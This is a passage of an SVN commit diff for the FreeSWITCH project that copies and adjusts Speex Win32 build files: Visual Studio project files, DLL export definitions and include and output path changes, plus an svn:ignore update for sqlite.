+# Begin Source File
+
+SOURCE=..\config.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\libspeex.def
+# End Source File
 # End Target
 # End Project

Copied: freeswitch/branches/seven/libs/speex/win32/libspeex/libspeexdsp.dsp (from rev 14471, freeswitch/trunk/libs/speex/win32/libspeex/libspeexdsp.dsp) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/libspeex/libspeexdsp.dsp	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/libspeex/libspeexdsp.dsp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,224 @@
+# Microsoft Developer Studio Project File - Name="libspeexdsp" - Package Owner=<4>
+# Microsoft Developer Studio Generated Build File, Format Version 6.00
+# ** DO NOT EDIT **
+
+# TARGTYPE "Win32 (x86) Static Library" 0x0104
+
+CFG=libspeexdsp - Win32 Debug
+!MESSAGE This is not a valid makefile. To build this project using NMAKE,
+!MESSAGE use the Export Makefile command and run
+!MESSAGE 
+!MESSAGE NMAKE /f "libspeexdsp.mak".
+!MESSAGE 
+!MESSAGE You can specify a configuration when running NMAKE
+!MESSAGE by defining the macro CFG on the command line. For example:
+!MESSAGE 
+!MESSAGE NMAKE /f "libspeexdsp.mak" CFG="libspeexdsp - Win32 Debug"
+!MESSAGE 
+!MESSAGE Possible choices for configuration are:
+!MESSAGE 
+!MESSAGE "libspeexdsp - Win32 Release" (based on "Win32 (x86) Static Library")
+!MESSAGE "libspeexdsp - Win32 Debug" (based on "Win32 (x86) Static Library")
+!MESSAGE 
+
+# Begin Project
+# PROP AllowPerConfigDependencies 0
+# PROP Scc_ProjName ""
+# PROP Scc_LocalPath ""
+CPP=cl.exe
+RSC=rc.exe
+
+!IF  "$(CFG)" == "libspeexdsp - Win32 Release"
+
+# PROP BASE Use_MFC 0
+# PROP BASE Use_Debug_Libraries 0
+# PROP BASE Output_Dir "Release"
+# PROP BASE Intermediate_Dir "Release"
+# PROP BASE Target_Dir ""
+# PROP Use_MFC 0
+# PROP Use_Debug_Libraries 0
+# PROP Output_Dir "Release"
+# PROP Intermediate_Dir "Release"
+# PROP Target_Dir ""
+F90=df.exe
+# ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_MBCS" /D "_LIB" /YX /FD /c
+# ADD CPP /nologo /MD /W1 /GX- /O2 /I "../../include" /I "../" /D "WIN32" /D "NDEBUG" /D "_MBCS" /D "_LIB" /D "HAVE_CONFIG_H" /FD /c
+# SUBTRACT CPP /YX
+# ADD BASE RSC /l 0x419 /d "NDEBUG"
+# ADD RSC /l 0x809 /d "NDEBUG"
+BSC32=bscmake.exe
+# ADD BASE BSC32 /nologo
+# ADD BSC32 /nologo
+LIB32=link.exe -lib
+# ADD BASE LIB32 /nologo
+# ADD LIB32 /nologo /out:"..\..\lib\libspeexdsp.lib"
+
+!ELSEIF  "$(CFG)" == "libspeexdsp - Win32 Debug"
+
+# PROP BASE Use_MFC 0
+# PROP BASE Use_Debug_Libraries 1
+# PROP BASE Output_Dir "libspeexdsp___Win32_Debug"
+# PROP BASE Intermediate_Dir "libspeexdsp___Win32_Debug"
+# PROP BASE Target_Dir ""
+# PROP Use_MFC 0
+# PROP Use_Debug_Libraries 1
+# PROP Output_Dir "libspeexdsp___Win32_Debug"
+# PROP Intermediate_Dir "libspeexdsp___Win32_Debug"
+# PROP Target_Dir ""
+F90=df.exe
+# ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_MBCS" /D "_LIB" /YX /FD /GZ  /c
+# ADD CPP /nologo /MDd /W3 /Gm- /GX- /Zi /Od /I "../../include" /I "../" /D "WIN32" /D "_DEBUG" /D "_MBCS" /D "_LIB" /D "HAVE_CONFIG_H" /FD /GZ  /c
+# SUBTRACT CPP /YX
+# ADD BASE RSC /l 0x419 /d "_DEBUG"
+# ADD RSC /l 0x809 /d "_DEBUG"
+BSC32=bscmake.exe
+# ADD BASE BSC32 /nologo
+# ADD BSC32 /nologo
+LIB32=link.exe -lib
+# ADD BASE LIB32 /nologo
+# ADD LIB32 /nologo /out:"..\..\lib\libspeexdsp.lib"
+
+!ENDIF 
+
+# Begin Target
+
+# Name "libspeexdsp - Win32 Release"
+# Name "libspeexdsp - Win32 Debug"
+# Begin Group "Source Files"
+
+# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat"
+# Begin Source File
+
+SOURCE=..\..\libspeex\buffer.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\fftwrap.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\filterbank.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\jitter.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\kiss_fft.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\kiss_fftr.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\mdf.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\preprocess.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\resample.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\smallft.c
+# End Source File
+# End Group
+# Begin Group "Header Files"
+
+# PROP Default_Filter "h;hpp;hxx;hm;inl"
+# Begin Source File
+
+SOURCE=..\..\libspeex\_kiss_fft_guts.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\arch.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\fftwrap.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\filterbank.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\fixed_debug.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\fixed_generic.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\kiss_fft.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\kiss_fftr.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\math_approx.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\os_support.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\pseudofloat.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\smallft.h
+# End Source File
+# End Group
+# Begin Group "Public Header Files"
+
+# PROP Default_Filter ""
+# Begin Source File
+
+SOURCE=..\..\include\speex\speex.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\include\speex\speex_bits.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\include\speex\speex_buffer.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\include\speex\speex_echo.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\include\speex\speex_jitter.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\include\speex\speex_preprocess.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\include\speex\speex_resampler.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\include\speex\speex_types.h
+# End Source File
+# End Group
+# Begin Source File
+
+SOURCE=..\config.h
+# End Source File
+# End Target
+# End Project

Copied: freeswitch/branches/seven/libs/speex/win32/libspeex/libspeexdsp_dynamic.dsp (from rev 14471, freeswitch/trunk/libs/speex/win32/libspeex/libspeexdsp_dynamic.dsp) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/libspeex/libspeexdsp_dynamic.dsp	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/libspeex/libspeexdsp_dynamic.dsp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,233 @@
+# Microsoft Developer Studio Project File - Name="libspeexdsp_dynamic" - Package Owner=<4>
+# Microsoft Developer Studio Generated Build File, Format Version 6.00
+# ** DO NOT EDIT **
+
+# TARGTYPE "Win32 (x86) Dynamic-Link Library" 0x0102
+
+CFG=libspeexdsp_dynamic - Win32 Debug
+!MESSAGE This is not a valid makefile. To build this project using NMAKE,
+!MESSAGE use the Export Makefile command and run
+!MESSAGE 
+!MESSAGE NMAKE /f "libspeexdsp_dynamic.mak".
+!MESSAGE 
+!MESSAGE You can specify a configuration when running NMAKE
+!MESSAGE by defining the macro CFG on the command line. For example:
+!MESSAGE 
+!MESSAGE NMAKE /f "libspeexdsp_dynamic.mak" CFG="libspeexdsp_dynamic - Win32 Debug"
+!MESSAGE 
+!MESSAGE Possible choices for configuration are:
+!MESSAGE 
+!MESSAGE "libspeexdsp_dynamic - Win32 Release" (based on "Win32 (x86) Dynamic-Link Library")
+!MESSAGE "libspeexdsp_dynamic - Win32 Debug" (based on "Win32 (x86) Dynamic-Link Library")
+!MESSAGE 
+
+# Begin Project
+# PROP AllowPerConfigDependencies 0
+# PROP Scc_ProjName ""
+# PROP Scc_LocalPath ""
+CPP=cl.exe
+MTL=midl.exe
+RSC=rc.exe
+
+!IF  "$(CFG)" == "libspeexdsp_dynamic - Win32 Release"
+
+# PROP BASE Use_MFC 0
+# PROP BASE Use_Debug_Libraries 0
+# PROP BASE Output_Dir "libspeexdsp_dynamic___Win32_Release"
+# PROP BASE Intermediate_Dir "libspeexdsp_dynamic___Win32_Release"
+# PROP BASE Target_Dir ""
+# PROP Use_MFC 0
+# PROP Use_Debug_Libraries 0
+# PROP Output_Dir "Release"
+# PROP Intermediate_Dir "Dynamic_Release"
+# PROP Ignore_Export_Lib 0
+# PROP Target_Dir ""
+# ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "LIBSPEEX_DYNAMIC_EXPORTS" /YX /FD /c
+# ADD CPP /nologo /MD /W3 /GX /O2 /I "../../include" /I "../" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "HAVE_CONFIG_H" /FD /c
+# SUBTRACT CPP /YX
+# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
+# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
+# ADD BASE RSC /l 0x409 /d "NDEBUG"
+# ADD RSC /l 0x409 /d "NDEBUG"
+BSC32=bscmake.exe
+# ADD BASE BSC32 /nologo
+# ADD BSC32 /nologo
+LINK32=link.exe
+# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386
+# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /out:"..\..\bin\libspeexdsp.dll" /implib:"..\..\lib\libspeexdsp.lib"
+
+!ELSEIF  "$(CFG)" == "libspeexdsp_dynamic - Win32 Debug"
+
+# PROP BASE Use_MFC 0
+# PROP BASE Use_Debug_Libraries 1
+# PROP BASE Output_Dir "libspeexdsp_dynamic___Win32_Debug"
+# PROP BASE Intermediate_Dir "libspeexdsp_dynamic___Win32_Debug"
+# PROP BASE Target_Dir ""
+# PROP Use_MFC 0
+# PROP Use_Debug_Libraries 1
+# PROP Output_Dir "Debug"
+# PROP Intermediate_Dir "Dynamic_Debug"
+# PROP Ignore_Export_Lib 0
+# PROP Target_Dir ""
+# ADD BASE CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "LIBSPEEX_DYNAMIC_EXPORTS" /YX /FD /GZ /c
+# ADD CPP /nologo /MDd /W3 /Gm /GX /ZI /Od /I "../../include" /I "../" /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "HAVE_CONFIG_H" /FD /GZ /c
+# SUBTRACT CPP /YX
+# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32
+# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32
+# ADD BASE RSC /l 0x409 /d "_DEBUG"
+# ADD RSC /l 0x409 /d "_DEBUG"
+BSC32=bscmake.exe
+# ADD BASE BSC32 /nologo
+# ADD BSC32 /nologo
+LINK32=link.exe
+# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept
+# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /out:"..\..\bin\libspeexdsp.dll" /implib:"..\..\lib\libspeexdsp.lib" /pdbtype:sept
+
+!ENDIF 
+
+# Begin Target
+
+# Name "libspeexdsp_dynamic - Win32 Release"
+# Name "libspeexdsp_dynamic - Win32 Debug"
+# Begin Group "Source Files"
+
+# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat"
+# Begin Source File
+
+SOURCE=..\..\libspeex\buffer.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\fftwrap.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\filterbank.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\jitter.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\kiss_fft.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\kiss_fftr.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\mdf.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\preprocess.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\resample.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\smallft.c
+# End Source File
+# End Group
+# Begin Group "Header Files"
+
+# PROP Default_Filter "h;hpp;hxx;hm;inl"
+# Begin Source File
+
+SOURCE=..\..\libspeex\_kiss_fft_guts.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\arch.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\fftwrap.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\filterbank.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\fixed_debug.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\fixed_generic.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\kiss_fft.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\kiss_fftr.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\math_approx.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\os_support.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\pseudofloat.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\smallft.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\include\speex\speex_buffer.h
+# End Source File
+# End Group
+# Begin Group "Public Header Files"
+
+# PROP Default_Filter ""
+# Begin Source File
+
+SOURCE=..\..\include\speex\speex.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\include\speex\speex_bits.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\include\speex\speex_echo.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\include\speex\speex_jitter.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\include\speex\speex_preprocess.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\include\speex\speex_resampler.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\include\speex\speex_types.h
+# End Source File
+# End Group
+# Begin Source File
+
+SOURCE=..\config.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\libspeexdsp.def
+# End Source File
+# End Target
+# End Project

Copied: freeswitch/branches/seven/libs/speex/win32/libspeex.def (from rev 14471, freeswitch/trunk/libs/speex/win32/libspeex.def) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/libspeex.def	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/libspeex.def	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,75 @@
+LIBRARY libspeex
+EXPORTS
+
+
+;
+;	speex.h
+;
+speex_encoder_init
+speex_encoder_destroy
+speex_encode
+speex_encode_int
+speex_encoder_ctl
+speex_decoder_init
+speex_decoder_destroy
+speex_decode
+speex_decode_int
+speex_decoder_ctl
+speex_mode_query
+speex_lib_ctl
+speex_lib_get_mode
+
+;
+;	speex_bits.h
+;
+speex_bits_init
+speex_bits_init_buffer
+speex_bits_set_bit_buffer
+speex_bits_destroy
+speex_bits_reset
+speex_bits_rewind
+speex_bits_read_from
+speex_bits_read_whole_bytes
+speex_bits_write
+speex_bits_write_whole_bytes
+speex_bits_pack
+speex_bits_unpack_signed
+speex_bits_unpack_unsigned
+speex_bits_nbytes
+speex_bits_peek_unsigned
+speex_bits_peek
+speex_bits_advance
+speex_bits_remaining
+speex_bits_insert_terminator
+
+;
+;	speex_callbacks.h
+;
+speex_inband_handler
+speex_std_mode_request_handler
+speex_std_high_mode_request_handler
+speex_std_char_handler
+speex_default_user_handler
+speex_std_low_mode_request_handler
+speex_std_vbr_request_handler
+speex_std_enh_request_handler
+speex_std_vbr_quality_request_handler
+
+;
+;	speex_header.h
+;
+speex_init_header
+speex_header_to_packet
+speex_packet_to_header
+
+;
+;	speex_stereo.h
+;
+speex_stereo_state_init
+speex_stereo_state_reset
+speex_stereo_state_destroy
+speex_encode_stereo
+speex_encode_stereo_int
+speex_decode_stereo
+speex_decode_stereo_int
+speex_std_stereo_request_handler

Copied: freeswitch/branches/seven/libs/speex/win32/libspeexdsp.def (from rev 14471, freeswitch/trunk/libs/speex/win32/libspeexdsp.def) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/libspeexdsp.def	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/libspeexdsp.def	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,72 @@
+LIBRARY libspeexdsp
+EXPORTS
+
+
+;
+;	speex_buffer.h
+;
+speex_buffer_init
+speex_buffer_destroy
+speex_buffer_write
+speex_buffer_writezeros
+speex_buffer_read
+speex_buffer_get_available
+speex_buffer_resize
+
+;
+;	speex_echo.h
+;
+speex_echo_state_init
+speex_echo_state_destroy
+speex_echo_cancellation
+speex_echo_cancel
+speex_echo_capture
+speex_echo_playback
+speex_echo_state_reset
+speex_echo_ctl
+
+;
+;	speex_jitter.h
+;
+jitter_buffer_init
+jitter_buffer_reset
+jitter_buffer_destroy
+jitter_buffer_put
+jitter_buffer_get
+jitter_buffer_get_pointer_timestamp
+jitter_buffer_tick
+jitter_buffer_update_delay
+
+;
+;	speex_preprocess.h
+;
+speex_preprocess_state_init
+speex_preprocess_state_destroy
+speex_preprocess_run
+speex_preprocess
+speex_preprocess_estimate_update
+speex_preprocess_ctl
+
+;
+;	speex_resampler.h
+;
+speex_resampler_init
+speex_resampler_init_frac
+speex_resampler_destroy
+speex_resampler_process_float
+speex_resampler_process_int
+speex_resampler_process_interleaved_float
+speex_resampler_process_interleaved_int
+speex_resampler_set_rate
+speex_resampler_get_rate
+speex_resampler_set_rate_frac
+speex_resampler_get_ratio
+speex_resampler_set_quality
+speex_resampler_get_quality
+speex_resampler_set_input_stride
+speex_resampler_get_input_stride
+speex_resampler_set_output_stride
+speex_resampler_get_output_stride
+speex_resampler_skip_zeros
+speex_resampler_reset_mem
+speex_resampler_strerror

Modified: freeswitch/branches/seven/libs/speex/win32/speexdec/speexdec.dsp (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/speexdec/speexdec.dsp	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/win32/speexdec/speexdec.dsp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -42,7 +42,7 @@
 # PROP Ignore_Export_Lib 0
 # PROP Target_Dir ""
 # ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c
-# ADD CPP /nologo /GX /O2 /I "../../libspeex" /I "../../../ogg/include" /I "../../include" /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c
+# ADD CPP /nologo /MD /GX /O2 /I "../../../libogg/include" /I "../../include" /I "../" /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /D "HAVE_CONFIG_H" /YX /FD /c
 # ADD BASE RSC /l 0x809 /d "NDEBUG"
 # ADD RSC /l 0x809 /d "NDEBUG"
 BSC32=bscmake.exe
@@ -50,7 +50,7 @@
 # ADD BSC32 /nologo
 LINK32=link.exe
 # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386
-# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib winmm.lib /nologo /subsystem:console /machine:I386 /nodefaultlib:"LIBCMT.lib"
+# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib winmm.lib /nologo /subsystem:console /machine:I386 /nodefaultlib:"LIBCMT.lib" /out:"../../bin/speexdec.exe"
 
 !ELSEIF  "$(CFG)" == "speexdec - Win32 Debug"
 
@@ -66,7 +66,7 @@
 # PROP Ignore_Export_Lib 0
 # PROP Target_Dir ""
 # ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c
-# ADD CPP /nologo /W3 /Gm /GX /ZI /Od /I "../../libspeex" /I "../../../ogg/include" /I "../../include" /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c
+# ADD CPP /nologo /MDd /W3 /Gm /GX /ZI /Od /I "../../../libogg/include" /I "../../include" /I "../" /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /D "HAVE_CONFIG_H" /YX /FD /GZ /c
 # ADD BASE RSC /l 0x809 /d "_DEBUG"
 # ADD RSC /l 0x809 /d "_DEBUG"
 BSC32=bscmake.exe
@@ -74,7 +74,7 @@
 # ADD BSC32 /nologo
 LINK32=link.exe
 # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept
-# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib winmm.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept
+# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib winmm.lib /nologo /subsystem:console /debug /machine:I386 /out:"../../bin/speexdec.exe" /pdbtype:sept
 
 !ENDIF 
 

Modified: freeswitch/branches/seven/libs/speex/win32/speexdec/speexdec.dsw (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/speexdec/speexdec.dsw	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/win32/speexdec/speexdec.dsw	2009-08-09 18:53:22 UTC (rev 14472)
@@ -15,7 +15,7 @@
 
 ###############################################################################
 
-Project: "ogg_static"="..\..\..\MYOV-1.0\ogg\win32\ogg_static.dsp" - Package Owner=<4>
+Project: "ogg_static"="..\..\..\libogg\win32\ogg_static.dsp" - Package Owner=<4>
 
 Package=<5>
 {{{

Modified: freeswitch/branches/seven/libs/speex/win32/speexenc/speexenc.dsp (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/speexenc/speexenc.dsp	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/win32/speexenc/speexenc.dsp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -42,7 +42,7 @@
 # PROP Ignore_Export_Lib 0
 # PROP Target_Dir ""
 # ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c
-# ADD CPP /nologo /GX /Ox /Ot /Og /Oi /Ob2 /I "../../libspeex" /I "../../../ogg/include" /I "../../include" /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c
+# ADD CPP /nologo /MD /GX /Ox /Ot /Og /Oi /Ob2 /I "../" /I "../../include" /I "../../../libogg/include" /D "HAVE_CONFIG_H" /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c
 # ADD BASE RSC /l 0x809 /d "NDEBUG"
 # ADD RSC /l 0x809 /d "NDEBUG"
 BSC32=bscmake.exe
@@ -50,7 +50,7 @@
 # ADD BSC32 /nologo
 LINK32=link.exe
 # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386
-# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386 /nodefaultlib:"LIBCMT.lib"
+# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386 /nodefaultlib:"LIBCMT.lib"  /out:"../../bin/speexenc.exe"
 
 !ELSEIF  "$(CFG)" == "speexenc - Win32 Debug"
 
@@ -66,7 +66,7 @@
 # PROP Ignore_Export_Lib 0
 # PROP Target_Dir ""
 # ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c
-# ADD CPP /nologo /W3 /Gm /GX /ZI /Od /I "../../libspeex" /I "../../../ogg/include" /I "../../include" /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c
+# ADD CPP /nologo /MDd /W3 /Gm /GX /ZI /Od /I "../" /I "../../include" /I "../../../libogg/include" /D "HAVE_CONFIG_H" /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c
 # ADD BASE RSC /l 0x809 /d "_DEBUG"
 # ADD RSC /l 0x809 /d "_DEBUG"
 BSC32=bscmake.exe
@@ -74,7 +74,7 @@
 # ADD BSC32 /nologo
 LINK32=link.exe
 # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept
-# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept
+# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /out:"../../bin/speexenc.exe" /pdbtype:sept
 
 !ENDIF 
 
@@ -95,6 +95,10 @@
 # End Source File
 # Begin Source File
 
+SOURCE=..\..\src\skeleton.c
+# End Source File
+# Begin Source File
+
 SOURCE=..\..\src\speexenc.c
 # End Source File
 # Begin Source File
@@ -111,6 +115,10 @@
 # End Source File
 # Begin Source File
 
+SOURCE=..\..\src\skeleton.h
+# End Source File
+# Begin Source File
+
 SOURCE=..\..\src\wav_io.h
 # End Source File
 # End Group

Modified: freeswitch/branches/seven/libs/speex/win32/speexenc/speexenc.dsw (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/speexenc/speexenc.dsw	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/win32/speexenc/speexenc.dsw	2009-08-09 18:53:22 UTC (rev 14472)
@@ -15,7 +15,7 @@
 
 ###############################################################################
 
-Project: "ogg_static"="..\..\..\MYOV-1.0\ogg\win32\ogg_static.dsp" - Package Owner=<4>
+Project: "libspeexdsp"=..\libspeex\libspeexdsp.dsp - Package Owner=<4>
 
 Package=<5>
 {{{
@@ -27,6 +27,18 @@
 
 ###############################################################################
 
+Project: "ogg_static"=..\..\..\libogg\win32\ogg_static.dsp - Package Owner=<4>
+
+Package=<5>
+{{{
+}}}
+
+Package=<4>
+{{{
+}}}
+
+###############################################################################
+
 Project: "speexenc"=.\speexenc.dsp - Package Owner=<4>
 
 Package=<5>
@@ -41,6 +53,9 @@
     Begin Project Dependency
     Project_Dep_Name ogg_static
     End Project Dependency
+    Begin Project Dependency
+    Project_Dep_Name libspeexdsp
+    End Project Dependency
 }}}
 
 ###############################################################################

Property changes: freeswitch/branches/seven/libs/sqlite


Name: svn:ignore
   - mkkeywordhash.dSYM
lemon.dSYM
sqlite3.dSYM
configure
parse.out
sqlite3.pc
lempar.c
lemon
config.status
